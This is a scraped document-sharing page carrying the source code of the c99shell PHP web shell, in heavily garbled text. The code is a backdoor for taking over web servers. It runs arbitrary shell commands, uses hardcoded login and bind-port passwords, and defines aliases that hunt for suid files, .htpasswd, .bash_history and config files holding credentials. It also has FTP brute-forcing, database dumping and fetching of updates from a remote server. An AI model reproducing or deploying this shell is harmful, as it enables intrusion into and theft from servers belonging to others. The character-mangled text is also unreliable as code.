P. 1
<?Php /* ********************************************************************************** ******************** * * c99shell.php

<?Php /* ********************************************************************************** ******************** * * c99shell.php

|Views: 828|Likes:
Published by anon_898596

More info:

Published by: anon_898596 on Jan 16, 2010
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as TXT, PDF, TXT or read online from Scribd
See more
See less

03/15/2011

pdf

text

original

<?

php
/*
**********************************************************************************
********************
*
* c99shell.php v.1.0 myshellcode.com
* SheLL Archive
* c99shell - Myshellcode.com
*
**********************************************************************************
********************
*/
//Starting calls
i !"#nction$e%ists!&getmicrotime&'' (#nction getmicrotime!' (list!)#sec* )sec'
+ e%plode!& &* microtime!'', ret#rn !!loat')#sec - !loat')sec',..
error$reporting!/',
0ignore$#ser$a1ort!tr#e',
0set$magic$2#otes$r#ntime!0',
0set$time$limit!0',
)3in + strtolo3er!s#1str!454$6S* 0* 7'' ++ &3in&,
i !"0o1$get$contents!'' (0o1$start!', 0o1$implicit$l#sh!0',.
deine!&starttime&*getmicrotime!'',
i !get$magic$2#otes$gpc!'' (i !"#nction$e%ists!&strips&'' (#nction
strips!8)arr*)9+&&' (i !is$array!)arr'' (oreach!)arr as )9+:)v' (i
!strto#pper!)9' "+ &;L6<ALS&' (strips!)arr=&)9&>',... else ()arr +
stripslashes!)arr',... strips!);L6<ALS',.
)$?@AB@SC + array$merge!)$D66EF@*)$;@C*)$46SC',
oreach!)$?@AB@SC as )9+:)v' (i !"isset!))9'' ())9 + )v,..
)shver + &1.0 1eta !G1.0/.G00/'&, //D#rrent version
//D6HIF;B?ACF6H AHJ S@CCFH;S
i !"empty!)#nset$s#rl'' (setcoo9ie!&c99sh$s#rl&', )s#rl + &&,.
elsei !"empty!)set$s#rl'' ()s#rl + )set$s#rl, setcoo9ie!&c99sh$s#rl&*)s#rl',.
else ()s#rl + )$?@AB@SC=&c99sh$s#rl&>, //Set this coo9ie or man#al SB?L
.
)s#rl$a#toill$incl#de + tr#e, //F tr#e then search varia1les 3ith descriptors
!B?Ls' and save it in SB?L.
i !)s#rl$a#toill$incl#de and ")$?@AB@SC=&c99sh$s#rl&>' ()incl#de + &8&, oreach
!e%plode!&8&*getenv!&AB@?K$SC?FH;&'' as )v' ()v + e%plode!&+&*)v', )name +
#rldecode!)v=0>', )val#e + #rldecode!)v=1>', oreach
!array!&httpL//&*&httpsL//&*&sslL//&*&tpL//&*&MMMM&' as )needle' (i
!strpos!)val#e*)needle' +++ 0' ()incl#destr .+
#rlencode!)name'.&+&.#rlencode!)val#e'.&8&,... i
!)$?@AB@SC=&s#rl$a#toill$incl#de&>' ()incl#destr .+ &s#rl$a#toill$incl#de+18&,..
i !empty!)s#rl''
(
)s#rl + &?&.)incl#destr, //Sel #rl
.
)s#rl + htmlspecialchars!)s#rl',
)timelimit + N0, //limit o e%ec#tion this script !seconds'* 0 + #nlimited.
//A#thentication
)login + &Myshellcode.com&, //login
//J6HOC I6?;6C A<6BC D5AH;@ 4ASSP6?J"""
)pass + &Myshellcode.com&, //pass3ord
)md/$pass + &&, //md/-cryped pass. i n#ll* md/!)pass'
/*D6MM@HC FC I6? CB?H 6H ABC5@HCFIFDACF6H :::*/)login + alse, //t#rn o
a#thentiication
)host$allo3 + array!&*&', //array !&(mas9.1&*&(mas9.G&*...'* (mas9. + F4 or 56SC
e.g. array!&19G.1NQ.0.*&*&1GR.0.0.1&'
)login$t%t + &?estricted area&, //http-a#th message.
)accessdeniedmess + &<a hre+M&httpL//ccteam.r#/releases/c99shellM&:c99shell v.&.
)shver.&</a:L access denied&,
)a#to#pdate + alse, //A#tomatic #pdating?
)#pdateno3 + alse, //F tr#e* #pdate no3
)c99sh$#pdate#rl + &httpL//ccteam.r#/releases/#pdate/c99shell/&, //Bpdate server
)ilestealth + alse, //i tr#e* donOt change modiy8access-time
)donated$html + &<center:<1:;a?JeHIoS</1:</center:&,
/* F yo# p#1lish ree shell and yo# 3ish
add lin9 to yo#r site or any other inormation*
p#t here yo#r html. */
)donated$act + array!&&', //array !&act1&*&actG*&...'* i )act is in this array*
display )donated$html.
)c#rdir + &./&, //start directory
//)c#rdir + getenv!&J6DBM@HC$?66C&',
)tmpdir + &&, //Jirectory or tempory iles. F empty* a#to-ill !/tmp or
TPFHJF?/temp'
)tmpdir$log + &./&, //Jirectory logs o long processes !e.g. 1r#te* scan...'
)log$email + &#ser0host.tld&, //Jea#lt e-mail or sending logs
)sort$dea#lt + &0a&, //Jea#lt sorting* 0 - n#m1er o colomn* &a&scending or
&d&escending
)sort$save + tr#e, //F tr#e then save sorting-type.
// ?egistered ile-types.
// array!
// &(action1.&+:array!&e%t1&*&e%tG&*&e%t7&*...'*
// &(actionG.&+:array!&e%tU&*&e%t/&*&e%tN&*...'*
// ...
// '
)types + array!
&html&+:array!&html&*&htm&*&shtml&'*
&t%t&+:array!&t%t&*&con&*&1at&*&sh&*&Vs&*&1a9&*&doc&*&log&*&sc&*&cg&*&htaccess
&'*
&e%e&+:array!&sh&*&install&*&1at&*&cmd&'*
&ini&+:array!&ini&*&in&'*
&code&+:array!&php&*&phtml&*&php7&*&phpU&*&inc&*&tcl&*&h&*&c&*&cpp&*&py&*&cgi&*&p
l&'*
&img&+:array!&gi&*&png&*&Vpeg&*&Vi&*&Vpg&*&Vpe&*&1mp&*&ico&*&ti&*&ti&*&avi&
*&mpg&*&mpeg&'*
&sd1&+:array!&sd1&'*
&phpsess&+:array!&sess&'*
&do3nload&+:array!&e%e&*&com&*&pi&*&src&*&ln9&*&Wip&*&rar&*&gW&*&tar&'
',
// ?egistered e%ec#ta1le ile-types.
// array!
// string &command(i.&+:array!&e%t1&*&e%tG&*&e%t7&*...'*
// ...
// '
// (command.L TT + ilename
)e%etypes + array!
getenv!&454?D&'.& TT&+:array!&php&*&php7&*&phpU&'*
',
/* 5ighlighted iles.
array!
i+:array!(rege%p.*(type.*(opentag.*(closetag.*(1rea9.'
...
'
string (rege%p. - reg#lar e%p.
int (type.L
0 - iles and olders !as dea#lt'*
1 - iles only* G - olders only
string (opentag. - open html-tag* e.g. &<1:& !dea#lt'
string (closetag. - close html-tag* e.g. &</1:& !dea#lt'
1ool (1rea9. - i tr#e and o#nd match then 1rea9
*/
)reg%p$highlight + array!
array!1asename!)$S@?X@?=&454$S@LI&>'*1*&<ont color+M&yello3M&:&*&</ont:&'* //
e%ample
array!&conig.php&*1' // e%ample
',
)saemode$dis9ettes + array!&a&', // Chis varia1le or disa1ling dis9ett-errors.
// array !i+:(letter. ...',
string (letter. - letter o a drive
// Set as alse or or t#rn
o.
)he%d#mp$lines + Q, // lines in he% previe3 ile
)he%d#mp$ro3s + GU, // 1N* GU or 7G 1ytes in one line
)ni%p3dperpage + 100, // ;et irst H lines rom /etc/pass3d
)1indport$pass + &c99&, // dea#lt pass3ord or 1inding
)1indport$port + &11U/R&, // dea#lt port or 1inding
// Dommand-aliases
i !")3in'
(
)cmdaliases + array!
array!&-----------------------------------------------------------&* &ls -la&'*
array!&ind all s#id iles&* &ind / -type -perm -0U000 -ls&'*
array!&ind s#id iles in c#rrent dir&* &ind . -type -perm -0U000 -ls&'*
array!&ind all sgid iles&* &ind / -type -perm -0G000 -ls&'*
array!&ind sgid iles in c#rrent dir&* &ind . -type -perm -0G000 -ls&'*
array!&ind conig.inc.php iles&* &ind / -type -name conig.inc.php&'*
array!&ind conig* iles&* &ind / -type -name M&conig*M&&'*
array!&ind conig* iles in c#rrent dir&* &ind . -type -name M&conig*M&&'*
array!&ind all 3rita1le directories and iles&* &ind / -perm -G -ls&'*
array!&ind all 3rita1le directories and iles in c#rrent dir&* &ind . -perm -G
-ls&'*
array!&ind all service.p3d iles&* &ind / -type -name service.p3d&'*
array!&ind service.p3d iles in c#rrent dir&* &ind . -type -name
service.p3d&'*
array!&ind all .htpass3d iles&* &ind / -type -name .htpass3d&'*
array!&ind .htpass3d iles in c#rrent dir&* &ind . -type -name .htpass3d&'*
array!&ind all .1ash$history iles&* &ind / -type -name .1ash$history&'*
array!&ind .1ash$history iles in c#rrent dir&* &ind . -type -name
.1ash$history&'*
array!&ind all .etchmailrc iles&* &ind / -type -name .etchmailrc&'*
array!&ind .etchmailrc iles in c#rrent dir&* &ind . -type -name
.etchmailrc&'*
array!&list ile attri1#tes on a Lin#% second e%tended ile system&* &lsattr
-va&'*
array!&sho3 opened ports&* &netstat -an Y grep -i listen&'
',
.
else
(
)cmdaliases + array!
array!&-----------------------------------------------------------&* &dir&'*
array!&sho3 opened ports&* &netstat -an&'
',
.
)sess$coo9ie + &c99shvars&, // Doo9ie-varia1le name
)#ses1# + tr#e, //<#er-#nction
)copy$#nset + alse, //?emove copied iles rom 1#er ater pasting
//A#ic9 la#nch
)2#ic9la#nch + array!
array!&<img src+M&&.)s#rl.&act+img8img+homeM& alt+M&5omeM& height+M&G0M&
3idth+M&G0M& 1order+M&0M&:&*)s#rl'*
array!&<img src+M&&.)s#rl.&act+img8img+1ac9M& alt+M&<ac9M& height+M&G0M&
3idth+M&G0M& 1order+M&0M&:&*&ZM& onclic9+M&history.1ac9!1'&'*
array!&<img src+M&&.)s#rl.&act+img8img+or3ardM& alt+M&Ior3ardM& height+M&G0M&
3idth+M&G0M& 1order+M&0M&:&*&ZM& onclic9+M&history.go!1'&'*
array!&<img src+M&&.)s#rl.&act+img8img+#pM& alt+M&B4JF?M& height+M&G0M&
3idth+M&G0M& 1order+M&0M&:&*)s#rl.&act+ls8d+T#pd8sort+Tsort&'*
array!&<img src+M&&.)s#rl.&act+img8img+rereshM& alt+M&?ereshM& height+M&G0M&
3idth+M&1RM& 1order+M&0M&:&*&&'*
array!&<img src+M&&.)s#rl.&act+img8img+searchM& alt+M&SearchM& height+M&G0M&
3idth+M&G0M& 1order+M&0M&:&*)s#rl.&act+search8d+Td&'*
array!&<img src+M&&.)s#rl.&act+img8img+1#erM& alt+M&<#erM& height+M&G0M&
3idth+M&G0M& 1order+M&0M&:&*)s#rl.&act+s1#8d+Td&'*
array!&<1:@ncoder</1:&*)s#rl.&act+encoder8d+Td&'*
array!&<1:<ind</1:&*)s#rl.&act+1ind8d+Td&'*
array!&<1:4roc.</1:&*)s#rl.&act+ps$a#%8d+Td&'*
array!&<1:IC4 1r#te</1:&*)s#rl.&act+tp2#ic91r#te8d+Td&'*
array!&<1:Sec.</1:&*)s#rl.&act+sec#rity8d+Td&'*
array!&<1:SAL</1:&*)s#rl.&act+s2l8d+Td&'*
array!&<1:454-code</1:&*)s#rl.&act+eval8d+Td&'*
array!&<1:Ieed1ac9</1:&*)s#rl.&act+eed1ac98d+Td&'*
array!&<1:Sel remove</1:&*)s#rl.&act+selremove&'*
array!&<1:Logo#t</1:&*&ZM& onclic9+M&i !conirm!OAre yo# s#re?O''
3indo3.close!'&'
',
//5ighlight-code colors
)highlight$1ac9gro#nd + &Zc0c0c0&,
)highlight$1g + &ZIIIIII&,
)highlight$comment + &ZNANANA&,
)highlight$dea#lt + &Z0000<<&,
)highlight$html + &Z1700II&,
)highlight$9ey3ord + &Z00RR00&,
)highlight$string + &Z000000&,
0) + )$?@AB@SC=&&>,
0e%tract!)$?@AB@SC=&c99shcoo9&>',
//@HJ D6HIF;B?ACF6H
// M/ He%t code isnOt or editing M/
)tmp + array!',
oreach!)host$allo3 as )9+:)v' ()tmp=> + str$replace!&MM*&*&.*&*preg$2#ote!)v'',.
)s + &"[!&.implode!&Y&*)tmp'.&')"i&,
i !"preg$match!)s*getenv!&?@M6C@$AJJ?&'' and "
preg$match!)s*gethost1yaddr!getenv!&?@M6C@$AJJ?&'''' (e%it!&<a
hre+M&httpL//ccteam.r#/releases/cc99shellM&:c99shell</a:L Access Jenied - yo#r
host !&.getenv!&?@M6C@$AJJ?&'.&' not allo3&',.
i !)login'
(
i!empty!)md/$pass'' ()md/$pass + md/!)pass',.
i !!)$S@?X@?=&454$ABC5$BS@?&> "+ )login ' or !md/!)$S@?X@?=&454$ABC5$4P&>' "+
)md/$pass''
(
i !)login$t%t +++ alse' ()login$t%t + &&,.
elsei !empty!)login$t%t'' ()login$t%t + strip$tags!ereg$replace!&8n1sp,Y<1r:&*&
&*)donated$html'',.
header!&PPP-A#thenticateL <asic realm+M&c99shell &.)shver.&L &.)login$t%t.&M&&',
header!&5CC4/1.0 U01 Bna#thoriWed&',
e%it!)accessdeniedmess',
.
.
i !)act "+ &img&'
(
)lastdir + realpath!&.&',
chdir!)c#rdir',
i !!)sel3rite' or !)#pdateno3''
(
i !)sel3rite ++ &1&' ()sel3rite + &c99shell.php&,.
c99sh$get#pdate!',
)data + ile$get$contents!)c99sh$#pdate#rl',
)p + open!)data*&3&',
3rite!)p*)data',
close!)p',
e%it,
.
)sess$data + #nserialiWe!)$D66EF@=&)sess$coo9ie&>',
i !"is$array!)sess$data'' ()sess$data + array!',.
i !"is$array!)sess$data=&copy&>'' ()sess$data=&copy&> + array!',.
i !"is$array!)sess$data=&c#t&>'' ()sess$data=&c#t&> + array!',.
i !"#nction$e%ists!&c99$1#$prepare&''
(
#nction c99$1#$prepare!'
(
glo1al )sess$data,
glo1al )act,
oreach!)sess$data=&copy&> as )9+:)v' ()sess$data=&copy&>=)9> +
str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*realpath!)v'',.
oreach!)sess$data=&c#t&> as )9+:)v' ()sess$data=&c#t&>=)9> +
str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*realpath!)v'',.
)sess$data=&copy&> + array$#ni2#e!)sess$data=&copy&>',
)sess$data=&c#t&> + array$#ni2#e!)sess$data=&c#t&>',
sort!)sess$data=&copy&>',
sort!)sess$data=&c#t&>',
i !)act "+ &copy&' (oreach!)sess$data=&c#t&> as )9+:)v' (i !)sess$data=&copy&>
=)9> ++ )v' (#nset!)sess$data=&copy&>=)9>', ...
else (oreach!)sess$data=&copy&> as )9+:)v' (i !)sess$data=&c#t&>=)9> ++ )v'
(#nset!)sess$data=&c#t&>=)9>',...
.
.
c99$1#$prepare!',
i !"#nction$e%ists!&c99$sess$p#t&''
(
#nction c99$sess$p#t!)data'
(
glo1al )sess$coo9ie,
glo1al )sess$data,
c99$1#$prepare!',
)sess$data + )data,
)data + serialiWe!)data',
setcoo9ie!)sess$coo9ie*)data',
.
.
i !)sort$save'
(
i !"empty!)sort'' (setcoo9ie!&sort&*)sort',.
i !"empty!)s2l$sort'' (setcoo9ie!&s2l$sort&*)s2l$sort',.
.
i !"#nction$e%ists!&strGmini&''
(
#nction strGmini!)content*)len'
(
i !strlen!)content' : )len'
(
)len + ceil!)len/G' - G,
ret#rn s#1str!)content* 0* )len'.&...&.s#1str!)content* -)len',
.
else (ret#rn )content,.
.
.
i !"#nction$e%ists!&vie3$siWe&''
(
#nction vie3$siWe!)siWe'
(
i !"is$n#meric!)siWe'' (ret#rn alse,.
else
(
i !)siWe :+ 10R7RU1QGU' ()siWe + ro#nd!)siWe/10R7RU1QGU*100'/100 .& ;<&,.
elsei !)siWe :+ 10UQ/RN' ()siWe + ro#nd!)siWe/10UQ/RN*100'/100 .& M<&,.
elsei !)siWe :+ 10GU' ()siWe + ro#nd!)siWe/10GU*100'/100 .& E<&,.
else ()siWe + )siWe . & <&,.
ret#rn )siWe,
.
.
.
i !"#nction$e%ists!&s$copy$dir&''
(
#nction s$copy$dir!)d*)t'
(
)d + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)d',
i !s#1str!)d*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()d .+ JF?@DC6?K$S@4A?AC6?,.
)h + opendir!)d',
3hile !!)o + readdir!)h'' "++ alse'
(
i !!)o "+ &.&' and !)o "+ &..&''
(
i !"is$dir!)d.JF?@DC6?K$S@4A?AC6?.)o'' ()ret + copy!)d.JF?@DC6?K$S@4A?AC6?.)o*
)t.JF?@DC6?K$S@4A?AC6?.)o',.
else ()ret + m9dir!)t.JF?@DC6?K$S@4A?AC6?.)o',
s$copy$dir!)d.JF?@DC6?K$S@4A?AC6?.)o*)t.JF?@DC6?K$S@4A?AC6?.)o',.
i !")ret' (ret#rn )ret,.
.
.
closedir!)h',
ret#rn tr#e,
.
.
i !"#nction$e%ists!&s$copy$o1V&''
(
#nction s$copy$o1V!)d*)t'
(
)d + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)d',
)t + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)t',
i !"is$dir!dirname!)t''' (m9dir!dirname!)t'',.
i !is$dir!)d''
(
i !s#1str!)d*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()d .+ JF?@DC6?K$S@4A?AC6?,.
i !s#1str!)t*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()t .+ JF?@DC6?K$S@4A?AC6?,.
ret#rn s$copy$dir!)d*)t',
.
elsei !is$ile!)d'' (ret#rn copy!)d*)t',.
else (ret#rn alse,.
.
.
i !"#nction$e%ists!&s$move$dir&''
(
#nction s$move$dir!)d*)t'
(
)h + opendir!)d',
i !"is$dir!)t'' (m9dir!)t',.
3hile !!)o + readdir!)h'' "++ alse'
(
i !!)o "+ &.&' and !)o "+ &..&''
(
)ret + tr#e,
i !"is$dir!)d.JF?@DC6?K$S@4A?AC6?.)o'' ()ret + copy!)d.JF?@DC6?K$S@4A?AC6?.)o*
)t.JF?@DC6?K$S@4A?AC6?.)o',.
else (i !m9dir!)t.JF?@DC6?K$S@4A?AC6?.)o' and
s$copy$dir!)d.JF?@DC6?K$S@4A?AC6?.)o*)t.JF?@DC6?K$S@4A?AC6?.)o'' ()ret + alse,..
i !")ret' (ret#rn )ret,.
.
.
closedir!)h',
ret#rn tr#e,
.
.
i !"#nction$e%ists!&s$move$o1V&''
(
#nction s$move$o1V!)d*)t'
(
)d + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)d',
)t + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)t',
i !is$dir!)d''
(
i !s#1str!)d*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()d .+ JF?@DC6?K$S@4A?AC6?,.
i !s#1str!)t*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()t .+ JF?@DC6?K$S@4A?AC6?,.
ret#rn s$move$dir!)d*)t',
.
elsei !is$ile!)d''
(
i!copy!)d*)t'' (ret#rn #nlin9!)d',.
else (#nlin9!)t', ret#rn alse,.
.
else (ret#rn alse,.
.
.
i !"#nction$e%ists!&s$rmdir&''
(
#nction s$rmdir!)d'
(
)h + opendir!)d',
3hile !!)o + readdir!)h'' "++ alse'
(
i !!)o "+ &.&' and !)o "+ &..&''
(
i !"is$dir!)d.)o'' (#nlin9!)d.)o',.
else (s$rmdir!)d.)o.JF?@DC6?K$S@4A?AC6?', rmdir!)d.)o',.
.
.
closedir!)h',
rmdir!)d',
ret#rn "is$dir!)d',
.
.
i !"#nction$e%ists!&s$rmo1V&''
(
#nction s$rmo1V!)o'
(
)o + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)o',
i !is$dir!)o''
(
i !s#1str!)o*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()o .+ JF?@DC6?K$S@4A?AC6?,.
ret#rn s$rmdir!)o',
.
elsei !is$ile!)o'' (ret#rn #nlin9!)o',.
else (ret#rn alse,.
.
.
i !"#nction$e%ists!&myshelle%ec&''
(
#nction myshelle%ec!)cmd'
(
)res#lt + &&,
i !"empty!)cmd''
(
i !is$calla1le!&e%ec&'' (e%ec!)cmd*)res#lt', )res#lt + Voin!&Mn&*)res#lt',.
elsei !is$calla1le!&shell$e%ec&'' ()res#lt + shell$e%ec!)cmd',.
elsei !is$calla1le!&system&'' (0o1$start!', system!)cmd', )res#lt +
0o1$get$contents!', 0o1$end$clean!',.
elsei !is$calla1le!&passthr#&'' (0o1$start!', passthr#!)cmd', )res#lt +
0o1$get$contents!', 0o1$end$clean!',.
elsei !!)res#lt + \)cmd\' "++ alse' (.
elsei !is$reso#rce!)p + popen!)cmd*&r&'''
(
)res#lt + &&,
3hile!"eo!)p'' ()res#lt .+ read!)p*10GU',.
pclose!)p',
.
.
ret#rn )res#lt,
.
.
i !"#nction$e%ists!&ta1sort&''
(
#nction ta1sort!)a*)1' (glo1al )v, ret#rn strnatcmp!)a=)v>* )1=)v>',.
.
i !"#nction$e%ists!&vie3$perms&''
(
#nction vie3$perms!)mode'
(
i !!)mode 8 0%D000' +++ 0%D000' ()type + &s&,.
elsei !!)mode 8 0%U000' +++ 0%U000' ()type + &d&,.
elsei !!)mode 8 0%A000' +++ 0%A000' ()type + &l&,.
elsei !!)mode 8 0%Q000' +++ 0%Q000' ()type + &-&,.
elsei !!)mode 8 0%N000' +++ 0%N000' ()type + &1&,.
elsei !!)mode 8 0%G000' +++ 0%G000' ()type + &c&,.
elsei !!)mode 8 0%1000' +++ 0%1000' ()type + &p&,.
else ()type + &?&,.
)o3ner=&read&> + !)mode 8 00U00' ? &r& L &-&,
)o3ner=&3rite&> + !)mode 8 00G00' ? &3& L &-&,
)o3ner=&e%ec#te&> + !)mode 8 00100' ? &%& L &-&,
)gro#p=&read&> + !)mode 8 000U0' ? &r& L &-&,
)gro#p=&3rite&> + !)mode 8 000G0' ? &3& L &-&,
)gro#p=&e%ec#te&> + !)mode 8 00010' ? &%& L &-&,
)3orld=&read&> + !)mode 8 0000U' ? &r& L &-&,
)3orld=&3rite&> + !)mode 8 0000G' ? &3& L &-&,
)3orld=&e%ec#te&> + !)mode 8 00001' ? &%& L &-&,
i! )mode 8 0%Q00 ' ()o3ner=&e%ec#te&> + !)o3ner=&e%ec#te&> ++ &%&' ? &s& L &S&,.
i! )mode 8 0%U00 ' ()gro#p=&e%ec#te&> + !)gro#p=&e%ec#te&> ++ &%&' ? &s& L &S&,.
i! )mode 8 0%G00 ' ()3orld=&e%ec#te&> + !)3orld=&e%ec#te&> ++ &%&' ? &t& L &C&,.
ret#rn )type.)o3ner=&read&>.)o3ner=&3rite&>.)o3ner=&e%ec#te&>.
)gro#p=&read&>.)gro#p=&3rite&>.)gro#p=&e%ec#te&>.
)3orld=&read&>.)3orld=&3rite&>.)3orld=&e%ec#te&>,
.
.
i !"#nction$e%ists!&parse$perms&''
(
#nction parse$perms!)mode'
(
i !!)mode 8 0%D000' +++ 0%D000' ()t + &s&,.
elsei !!)mode 8 0%U000' +++ 0%U000' ()t + &d&,.
elsei !!)mode 8 0%A000' +++ 0%A000' ()t + &l&,.
elsei !!)mode 8 0%Q000' +++ 0%Q000' ()t + &-&,.
elsei !!)mode 8 0%N000' +++ 0%N000' ()t + &1&,.
elsei !!)mode 8 0%G000' +++ 0%G000' ()t + &c&,.
elsei !!)mode 8 0%1000' +++ 0%1000' ()t + &p&,.
else ()t + &?&,.
)o=&r&> + !)mode 8 00U00' : 0, )o=&3&> + !)mode 8 00G00' : 0, )o=&%&> + !)mode 8
00100' : 0,
)g=&r&> + !)mode 8 000U0' : 0, )g=&3&> + !)mode 8 000G0' : 0, )g=&%&> + !)mode 8
00010' : 0,
)3=&r&> + !)mode 8 0000U' : 0, )3=&3&> + !)mode 8 0000G' : 0, )3=&%&> + !)mode 8
00001' : 0,
ret#rn array!&t&+:)t*&o&+:)o*&g&+:)g*&3&+:)3',
.
.
i !"#nction$e%ists!&vie3$perms$color&''
(
#nction vie3$perms$color!)o'
(
i !"is$reada1le!)o'' (ret#rn &<ont
color+M&redM&:&.vie3$perms!ileperms!)o''.&</ont:&,.
elsei !"is$3rita1le!)o'' (ret#rn &<ont
color+M&3hiteM&:&.vie3$perms!ileperms!)o''.&</ont:&,.
else (ret#rn &<ont color+M&greenM&:&.vie3$perms!ileperms!)o''.&</ont:&,.
.
.
i !"#nction$e%ists!&gchds&'' (#nction gchds!)a*)1*)c*)d+&&' (i !)a ++ )1'
(ret#rn )c,. else (ret#rn )d,...
i !"#nction$e%ists!&c99sh$get#pdate&''
(
#nction c99sh$get#pdate!'
(
glo1al )#pdateno3,
)data + 0ile$get$contents!)c99sh$#pdate#rl.&?version+&.)shver.&8&',
i !")data' (echo &DanOt etch #pdate-inormation"&,.
else
(
)data + #nserialiWe!1aseNU$decode!)data'',
i !"is$array!)data'' (echo &Dorr#pted #pdate-inormation"&,.
elsei !)shver < )data=&c#r&>' ()#pdateno3 + tr#e,.
.
.
.
i !"#nction$e%ists!&mys2l$d#mp&''
(
#nction mys2l$d#mp!)set'
(
glo1al )shver,
)soc9 + )set=&soc9&>,
)d1 + )set=&d1&>,
)print + )set=&print&>,
)nlG1r + )set=&nlG1r&>,
)ile + )set=&ile&>,
)add$drop + )set=&add$drop&>,
)ta1s + )set=&ta1s&>,
)onlyta1s + )set=&onlyta1s&>,
)ret + array!',
)ret=&err&> + array!',
i !"is$reso#rce!)soc9'' (echo!&@rrorL M)soc9 is not valid reso#rce.&',.
i !empty!)d1'' ()d1 + &d1&,.
i !empty!)print'' ()print + 0,.
i !empty!)nlG1r'' ()nlG1r + 0,.
i !empty!)add$drop'' ()add$drop + tr#e,.
i !empty!)ile''
(
glo1al )3in,
i !)3in' ()ile + &DLMMtmpMMd#mp$&.)S@?X@?$HAM@.&$&.)d1.&$&.date!&d-m-K-5-i-
s&'.&.s2l&,.
else ()ile + &/tmp/d#mp$&.)S@?X@?$HAM@.&$&.)d1.&$&.date!&d-m-K-5-i-s&'.&.s2l&,.
.
i !"is$array!)ta1s'' ()ta1s + array!',.
i !empty!)add$drop'' ()add$drop + tr#e,.
i !siWeo!)ta1s' ++ 0'
(
// retrive ta1les-list
)res + mys2l$2#ery!&S56P CA<L@S I?6M &.)d1* )soc9',
i !mys2l$n#m$ro3s!)res' : 0' (3hile !)ro3 + mys2l$etch$ro3!)res'' ()ta1s=> +
)ro3=0>,..
.
)S@?X@?$AJJ? + getenv!&S@?X@?$AJJ?&',
)S@?X@?$HAM@ + getenv!&S@?X@?$HAM@&',
)o#t + &Z J#mped 1y D99Shell.SAL v. &.)shver.&
Z 5ome pageL httpL//ccteam.r#
Z
Z 5ost settingsL
Z MySAL versionL !&.mys2l$get$server$ino!'.&' r#nning on &.)S@?X@?$AJJ?.& !&.
)S@?X@?$HAM@.&'&.&
Z JateL &.date!&d.m.K 5LiLs&'.&
Z &.gethost1yname!)S@?X@?$AJJ?'.& !&.)S@?X@?$AJJ?.&'&.& d#mp d1 M&&.)d1.&M&
Z---------------------------------------------------------
&,
)c + co#nt!)onlyta1s',
oreach!)ta1s as )ta1'
(
i !!in$array!)ta1*)onlyta1s'' or !")c''
(
i !)add$drop' ()o#t .+ &J?64 CA<L@ FI @SFSCS \&.)ta1.&\,Mn&,.
// recieve 2#ery or create ta1le str#ct#re
)res + mys2l$2#ery!&S56P D?@AC@ CA<L@ \&.)ta1.&\&* )soc9',
i !")res' ()ret=&err&>=> + mys2l$smarterror!',.
else
(
)ro3 + mys2l$etch$ro3!)res',
)o#t .+ )ro3=&1&>.&,MnMn&,
// recieve ta1le varia1les
)res + mys2l$2#ery!&S@L@DC * I?6M \)ta1\&* )soc9',
i !mys2l$n#m$ro3s!)res' : 0'
(
3hile !)ro3 + mys2l$etch$assoc!)res''
(
)9eys + implode!&\* \&* array$9eys!)ro3'',
)val#es + array$val#es!)ro3',
oreach!)val#es as )9+:)v' ()val#es=)9> + addslashes!)v',.
)val#es + implode!&O* O&* )val#es',
)s2l + &FHS@?C FHC6 \)ta1\!\&.)9eys.&\' XALB@S !O&.)val#es.&O',Mn&,
)o#t .+ )s2l,
.
.
.
.
.
)o#t .+
&Z--------------------------------------------------------------------------------
-MnMn&,
i !)ile'
(
)p + open!)ile* &3&',
i !")p' ()ret=&err&>=> + G,.
else
(
3rite !)p* )o#t',
close !)p',
.
.
i !)print' (i !)nlG1r' (echo nlG1r!)o#t',. else (echo )o#t,..
ret#rn )o#t,
.
.
i !"#nction$e%ists!&mys2l$1#ild3here&''
(
#nction mys2l$1#ild3here!)array*)sep+& and&*)#ncts+array!''
(
i !"is$array!)array'' ()array + array!',.
)res#lt + &&,
oreach!)array as )9+:)v'
(
)val#e + &&,
i !"empty!)#ncts=)9>'' ()val#e .+ )#ncts=)9>.&!&,.
)val#e .+ &O&.addslashes!)v'.&O&,
i !"empty!)#ncts=)9>'' ()val#e .+ &'&,.
)res#lt .+ &\&.)9.&\ + &.)val#e.)sep,
.
)res#lt + s#1str!)res#lt*0*strlen!)res#lt'-strlen!)sep'',
ret#rn )res#lt,
.
.
i !"#nction$e%ists!&mys2l$etch$all&''
(
#nction mys2l$etch$all!)2#ery*)soc9'
(
i !)soc9' ()res#lt + mys2l$2#ery!)2#ery*)soc9',.
else ()res#lt + mys2l$2#ery!)2#ery',.
)array + array!',
3hile !)ro3 + mys2l$etch$array!)res#lt'' ()array=> + )ro3,.
mys2l$ree$res#lt!)res#lt',
ret#rn )array,
.
.
i !"#nction$e%ists!&mys2l$smarterror&''
(
#nction mys2l$smarterror!)type*)soc9'
(
i !)soc9' ()error + mys2l$error!)soc9',.
else ()error + mys2l$error!',.
)error + htmlspecialchars!)error',
ret#rn )error,
.
.
i !"#nction$e%ists!&mys2l$2#ery$orm&''
(
#nction mys2l$2#ery$orm!'
(
glo1al )s#1mit*)s2l$act*)s2l$2#ery*)s2l$2#ery$res#lt*)s2l$conirm*
)s2l$2#ery$error*)t1l$str#ct,
i !!)s#1mit' and !")s2l$2#ery$res#lt' and !)s2l$conirm'' (i !"
)s2l$2#ery$error' ()s2l$2#ery$error + &A#ery 3as empty&,. echo &<1:@rrorL</1:
<1r:&.)s2l$2#ery$error.&<1r:&,.
i !)s2l$2#ery$res#lt or !")s2l$conirm'' ()s2l$act + )s2l$goto,.
i !!")s#1mit' or !)s2l$act''
(
echo &<ta1le 1order+0:<tr:<td:<orm action+M&&.)s2l$s#rl.&M&
